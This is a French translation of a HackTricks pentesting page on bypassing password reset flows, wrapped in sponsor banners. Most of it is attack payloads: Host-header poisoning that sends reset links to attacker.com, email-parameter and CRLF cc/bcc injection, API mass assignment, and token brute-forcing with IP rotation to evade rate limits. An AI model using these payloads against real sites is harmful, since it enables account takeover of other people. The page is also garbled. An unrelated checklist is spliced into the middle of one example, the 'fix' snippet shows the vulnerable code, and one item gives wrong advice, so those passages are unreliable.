mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
351 lines
18 KiB
Markdown
351 lines
18 KiB
Markdown
# Contournement de réinitialisation/mot de passe oublié
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**HackenProof est la plateforme des primes de bugs cryptographiques.**
|
|
|
|
**Obtenez des récompenses sans délai**\
|
|
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
|
|
|
|
**Acquérez de l'expérience en pentesting web3**\
|
|
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
|
|
|
|
**Devenez une légende du hacking web3**\
|
|
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
|
|
|
|
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos piratages !
|
|
|
|
{% embed url="https://hackenproof.com/register" %}
|
|
|
|
Les techniques de recompilation suivantes ont été extraites de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
|
|
|
## Fuite de jeton de réinitialisation de mot de passe via le référent
|
|
|
|
Le **référent HTTP** est un champ d'en-tête HTTP facultatif qui identifie l'adresse de la page web liée à la ressource demandée. L'en-tête de requête Referer contient l'adresse de la page web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.
|
|
|
|
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
|
|
|
|
### Exploitation
|
|
|
|
* Demandez la réinitialisation du mot de passe à votre adresse e-mail
|
|
* Cliquez sur le lien de réinitialisation du mot de passe
|
|
* Ne changez pas le mot de passe
|
|
* Cliquez sur des sites web tiers (par exemple : Facebook, Twitter)
|
|
* Interceptez la requête dans le proxy Burp Suite
|
|
* Vérifiez si l'en-tête referer divulgue le jeton de réinitialisation du mot de passe.
|
|
|
|
### Impact
|
|
|
|
Cela permet à la personne qui contrôle un site particulier de changer le mot de passe de l'utilisateur (attaque CSRF), car cette personne connaît le jeton de réinitialisation du mot de passe de l'utilisateur.
|
|
|
|
### Référence :
|
|
|
|
* https://hackerone.com/reports/342693
|
|
* https://hackerone.com/reports/272379
|
|
* https://hackerone.com/reports/737042
|
|
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
|
|
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
|
|
|
|
## Poisoning de réinitialisation de mot de passe
|
|
|
|
Si vous trouvez une attaque d'en-tête d'hôte et qu'elle est hors de portée, essayez de trouver le bouton de réinitialisation de mot de passe !
|
|
|
|
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
|
|
|
|
### Exploitation
|
|
|
|
* Interceptez la demande de réinitialisation de mot de passe dans Burpsuite
|
|
* Ajoutez l'en-tête suivant ou modifiez l'en-tête dans Burpsuite (essayez un par un)
|
|
```
|
|
Host: attacker.com
|
|
```
|
|
|
|
```
|
|
Host: target.com
|
|
X-Forwarded-Host: attacker.com
|
|
```
|
|
|
|
```
|
|
Host: target.com
|
|
Host: attacker.com
|
|
```
|
|
* Vérifiez si le lien pour changer le mot de passe dans l'e-mail pointe vers attacker.com
|
|
|
|
### Correctif
|
|
|
|
Utilisez `$_SERVER['SERVER_NAME']` plutôt que `$_SERVER['HTTP_HOST']`
|
|
```php
|
|
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
|
|
```
|
|
### Impact
|
|
|
|
La victime recevra le lien malveillant dans son courrier électronique et, lorsqu'elle cliquera dessus, elle divulguera le lien / jeton de réinitialisation du mot de passe de l'utilisateur à l'attaquant, ce qui entraînera la prise de contrôle complète du compte.
|
|
|
|
### Référence:
|
|
|
|
* https://hackerone.com/reports/226659
|
|
* https://hackerone.com/reports/167631
|
|
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
|
|
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
|
|
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
|
|
|
|
## Réinitialisation du mot de passe en manipulant le paramètre de courrier électronique
|
|
|
|
### Exploitation
|
|
|
|
* Ajouter l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant &
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com&email=attacker@email.com
|
|
```
|
|
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant %20
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com%20email=attacker@email.com
|
|
```
|
|
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant |
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com|email=attacker@email.com
|
|
```
|
|
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant cc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
|
```
|
|
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant bcc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
|
```
|
|
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant ,
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld",email="attacker@mail.tld"
|
|
```
|
|
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre dans le tableau JSON
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
|
```
|
|
### Référence
|
|
|
|
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
|
|
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
|
|
* https://twitter.com/HusseiN98D/status/1254888748216655872
|
|
|
|
## Modification de l'e-mail et du mot de passe de n'importe quel utilisateur via les paramètres de l'API
|
|
|
|
### Exploitation
|
|
|
|
* L'attaquant doit se connecter avec son compte et accéder à la fonctionnalité de modification du mot de passe
|
|
* Démarrer Burp Suite et intercepter la requête
|
|
* Après avoir intercepté la requête, l'envoyer à Repeater et modifier les paramètres E-mail et Mot de passe
|
|
```php
|
|
POST /api/changepass
|
|
[...]
|
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
|
```
|
|
### Référence
|
|
|
|
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
|
|
|
|
### Pas de limitation de taux : Bombardement d'e-mails <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
|
|
|
|
### Exploitation
|
|
|
|
* Démarrez Burp Suite et interceptez la demande de réinitialisation de mot de passe
|
|
* Envoyez à l'intrus
|
|
* Utilisez une charge utile nulle
|
|
|
|
### Référence
|
|
|
|
* https://hackerone.com/reports/280534
|
|
* https://hackerone.com/reports/794395
|
|
|
|
## Découvrez comment le jeton de réinitialisation de mot de passe est généré
|
|
|
|
Découvrez le modèle du jeton de réinitialisation de mot de passe
|
|
|
|
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
|
|
|
|
Si cela
|
|
|
|
* Généré en fonction de l'horodatage
|
|
* Généré en fonction de l'ID utilisateur
|
|
* Généré en fonction de l'e-mail de l'utilisateur
|
|
* Généré en fonction du prénom et du nom de famille
|
|
* Généré en fonction de la date de naissance
|
|
* Généré en fonction de la cryptographie
|
|
|
|
Utilisez Burp Sequencer pour trouver l'aléatoire ou la prévisibilité des jetons.
|
|
|
|
## GUID devinable
|
|
|
|
Il existe différents types de GUID :
|
|
|
|
* **Version 0 :** Seulement visible dans le GUID nul ("00000000-0000-0000-0000-000000000000").
|
|
* **Version 1 :** Le GUID est généré de manière prévisible en fonction de :
|
|
* L'heure actuelle
|
|
* Une "séquence d'horloge" générée de manière aléatoire qui reste constante entre les GUID pendant le temps de fonctionnement du système générateur
|
|
* Un "ID de nœud", qui est généré en fonction de l'adresse MAC du système si elle est disponible
|
|
* **Version 3 :** Le GUID est généré à l'aide d'un hachage MD5 d'un nom et d'un espace de noms fournis.
|
|
* **Version 4 :** Le GUID est généré de manière aléatoire.
|
|
* **Version 5 :** Le GUID est généré à l'aide d'un hachage SHA1 d'un nom et d'un espace de noms fournis.
|
|
|
|
Il est possible de regarder un GUID et de déterminer sa version, il existe un petit outil pour cela : [**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\*
|
|
```http
|
|
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
|
|
UUID version: 1
|
|
UUID time: 2021-11-17 17:52:18.141000
|
|
UUID timestamp: 138564643381410000
|
|
UUID node: 17547390002044
|
|
UUID MAC address: 0f:f5:91:f2:a3:7c
|
|
UUID clock sequence: 3426
|
|
```
|
|
Si la version utilisée pour générer un GUID de réinitialisation de mot de passe est la version 1, il est possible de faire une attaque par force brute sur les GUIDs :
|
|
```http
|
|
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
|
a34aca00-47d0-11ec-8d62-0ff591f2a37c
|
|
a34af110-47d0-11ec-8d62-0ff591f2a37c
|
|
```
|
|
### Références
|
|
|
|
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
|
|
|
|
## Manipulation de la réponse : Remplacer une mauvaise réponse par une bonne
|
|
|
|
Recherchez des requêtes et des réponses comme celles-ci
|
|
```php
|
|
HTTP/1.1 401 Unauthorized
|
|
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
|
|
```
|
|
# Réinitialisation du mot de passe
|
|
|
|
Lors d'un test de pénétration, il est souvent utile d'explorer les fonctionnalités de réinitialisation de mot de passe d'une application web. Cette fonctionnalité permet aux utilisateurs de récupérer l'accès à leur compte en cas d'oubli de leur mot de passe.
|
|
|
|
Cependant, il est important de vérifier que cette fonctionnalité est correctement implémentée pour éviter toute vulnérabilité potentielle. Voici quelques points à prendre en compte lors de l'évaluation de la sécurité de la réinitialisation du mot de passe :
|
|
|
|
## 1. Vérifier les contrôles d'authentification
|
|
|
|
Assurez-vous que l'utilisateur doit s'authentifier avant de pouvoir réinitialiser son mot de passe. Cela empêche les attaquants d'exploiter cette fonctionnalité pour accéder à des comptes sans autorisation.
|
|
|
|
## 2. Vérifier les questions de sécurité
|
|
|
|
Si l'application utilise des questions de sécurité pour vérifier l'identité de l'utilisateur lors de la réinitialisation du mot de passe, assurez-vous qu'elles sont suffisamment robustes. Évitez les questions dont les réponses peuvent être facilement devinées ou trouvées en ligne.
|
|
|
|
## 3. Vérifier les liens de réinitialisation
|
|
|
|
Lorsque l'utilisateur demande une réinitialisation de mot de passe, assurez-vous que le lien envoyé par e-mail est unique et expiré après une période de temps définie. Cela empêche les attaquants d'utiliser des liens obsolètes pour réinitialiser le mot de passe d'un compte.
|
|
|
|
## 4. Vérifier les messages d'erreur
|
|
|
|
Lorsque l'utilisateur soumet une demande de réinitialisation de mot de passe, assurez-vous que les messages d'erreur ne divulguent pas d'informations sensibles. Évitez de donner des indications sur l'existence ou l'absence d'un compte associé à l'adresse e-mail fournie.
|
|
|
|
## 5. Vérifier les mécanismes de verrouillage
|
|
|
|
Si l'application a mis en place un mécanisme de verrouillage après un certain nombre de tentatives infructueuses de réinitialisation de mot de passe, assurez-vous qu'il est efficace pour prévenir les attaques par force brute.
|
|
|
|
En évaluant attentivement ces aspects de la réinitialisation du mot de passe, vous pouvez aider à renforcer la sécurité de l'application web et à prévenir les attaques potentielles.
|
|
```php
|
|
HTTP/1.1 200 OK
|
|
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
|
```
|
|
### Référence
|
|
|
|
* https://medium.com/@innocenthacker/comment-jai-trouvé-le-bug-le-plus-critique-dans-un-événement-live-de-chasse-aux-bugs-7a88b3aa97b3
|
|
|
|
### Utilisation d'un jeton expiré <a href="#8-utilisation-dun-jeton-expiré" id="8-utilisation-dun-jeton-expiré"></a>
|
|
|
|
* Vérifiez si le jeton expiré peut être réutilisé
|
|
|
|
### Brute Force du jeton de réinitialisation de mot de passe <a href="#9-brute-force-du-jeton-de-réinitialisation-de-mot-de-passe" id="9-brute-force-du-jeton-de-réinitialisation-de-mot-de-passe"></a>
|
|
|
|
Essayez de forcer le jeton de réinitialisation en utilisant Burpsuite
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com&code=$BRUTE$
|
|
```
|
|
* Utilisez IP-Rotator sur burpsuite pour contourner la limite de taux basée sur l'adresse IP.
|
|
|
|
### Référence
|
|
|
|
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
|
|
|
### Essayez d'utiliser votre jeton <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
|
|
|
|
* Essayez d'ajouter votre jeton de réinitialisation de mot de passe avec le compte de la victime.
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com&code=$YOUR_TOKEN$
|
|
```
|
|
### Référence
|
|
|
|
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
|
|
|
## Invalidité de session lors de la déconnexion/réinitialisation du mot de passe
|
|
|
|
Lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe, la session en cours doit être invalidée.\
|
|
Par conséquent, récupérez les cookies pendant que l'utilisateur est connecté, déconnectez-vous et vérifiez si les cookies sont toujours valides.\
|
|
Répétez le processus en changeant le mot de passe au lieu de vous déconnecter.
|
|
|
|
## Temps d'expiration du jeton de réinitialisation
|
|
|
|
Les jetons de réinitialisation doivent avoir une durée de validité, après quoi le jeton ne doit plus être valide pour changer le mot de passe d'un utilisateur.
|
|
|
|
## Vérifications supplémentaires
|
|
|
|
* Utilisez username@burp\_collab.net et analysez le rappel
|
|
* Utilisateur en copie carbone email=victim@mail.com%0a%0dcc:hacker@mail.com
|
|
* Un mot de passe long (>200) entraîne un déni de service (DoS)
|
|
* Ajoutez un deuxième paramètre et une valeur d'e-mail
|
|
|
|
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**HackenProof est la plateforme de tous les programmes de primes pour les bugs de cryptographie.**
|
|
|
|
**Obtenez des récompenses sans délai**\
|
|
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bogue.
|
|
|
|
**Acquérez de l'expérience en pentest web3**\
|
|
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
|
|
|
|
**Devenez une légende du hacking web3**\
|
|
Gagnez des points de réputation avec chaque bogue vérifié et conquérez le sommet du classement hebdomadaire.
|
|
|
|
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos hacks !
|
|
|
|
{% embed url="https://hackenproof.com/register" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|